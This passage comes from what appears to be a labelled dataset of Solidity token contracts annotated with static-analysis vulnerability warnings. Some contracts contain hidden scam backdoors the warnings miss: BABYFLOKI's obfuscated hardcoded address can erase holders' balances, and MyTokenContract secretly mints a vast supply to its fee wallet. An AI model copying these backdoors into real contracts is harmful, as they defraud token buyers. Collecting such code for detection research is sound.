_balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6d7e07d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3ac9a34\n\t\t// reentrancy-events | ID: 6d7e07d\n\t\t// reentrancy-benign | ID: e3ccb73\n\t\t// reentrancy-eth | ID: 0313502\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2d98bc1): SAM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2d98bc1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3ac9a34\n\t\t// reentrancy-events | ID: 6d7e07d\n\t\t// reentrancy-eth | ID: 0313502\n\t\t// arbitrary-send-eth | ID: 2d98bc1\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 278d4f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 278d4f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a55bfb3): SAM.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a55bfb3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 16beea5): SAM.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 16beea5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5fe98fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5fe98fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 278d4f2\n\t\t// reentrancy-eth | ID: 5fe98fb\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 278d4f2\n\t\t// unused-return | ID: a55bfb3\n\t\t// reentrancy-eth | ID: 5fe98fb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 278d4f2\n\t\t// unused-return | ID: 16beea5\n\t\t// reentrancy-eth | ID: 5fe98fb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 278d4f2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5fe98fb\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10605.sol",
"size_bytes": 21936,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"BABYFLOKI\", unicode\"BABYFLOKI\", 9, 1000000000)\n {}\n}\n",
"file_name": "solidity_code_10606.sol",
"size_bytes": 7314,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4578976): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 4578976: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 4578976\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"EYE Am Watching You\";\n\n string private constant _symbol = \"EYE\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f50d2d1): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for f50d2d1: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: f50d2d1\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 96e848b): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for 96e848b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: 96e848b\n payable(feeWallet).transfer(amount);\n }\n\n function createPair() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 90aaf43): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 90aaf43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c2763cf): MyTokenContract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c2763cf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: eee1343): MyTokenContract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for eee1343: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 917076a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 917076a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: 90aaf43\n\t\t// unused-return | ID: c2763cf\n\t\t// reentrancy-eth | ID: 917076a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 90aaf43\n\t\t// unused-return | ID: eee1343\n\t\t// reentrancy-eth | ID: 917076a\n IERC20(uniswapV2Pair).approve(\n address(uniswapV2Router),\n type(uint256).max\n );\n\n\t\t// reentrancy-benign | ID: 90aaf43\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 917076a\n tradingOpen = true;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10607.sol",
"size_bytes": 11673,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ethereum6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 25481aa): Ethereum6900._taxWallet should be immutable \n\t// Recommendation for 25481aa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0597a5): Ethereum6900._initialBuyTax should be constant \n\t// Recommendation for e0597a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3181939): Ethereum6900._initialSellTax should be constant \n\t// Recommendation for 3181939: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3c88a0): Ethereum6900._reduceBuyTaxAt should be constant \n\t// Recommendation for c3c88a0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70bb225): Ethereum6900._reduceSellTaxAt should be constant \n\t// Recommendation for 70bb225: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bdebf3): Ethereum6900._preventSwapBefore should be constant \n\t// Recommendation for 9bdebf3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 6969696969 * 10 ** _decimals;\n\n string private constant _name = unicode\"HPOS10I\";\n\n string private constant _symbol = unicode\"Ethereum6900\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4458ee5): Ethereum6900._taxSwapThreshold should be constant \n\t// Recommendation for 4458ee5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa77ba5): Ethereum6900._maxTaxSwap should be constant \n\t// Recommendation for fa77ba5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xb4C0f382174d01E346753C4c6DaF36c9C0c367d0);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: efeabda): Ethereum6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for efeabda: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b84b922): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b84b922: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a5156db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a5156db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b84b922\n\t\t// reentrancy-benign | ID: a5156db\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b84b922\n\t\t// reentrancy-benign | ID: a5156db\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ef48d46): Ethereum6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ef48d46: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a5156db\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b84b922\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8ca4b5b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8ca4b5b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: db5b473): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for db5b473: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && 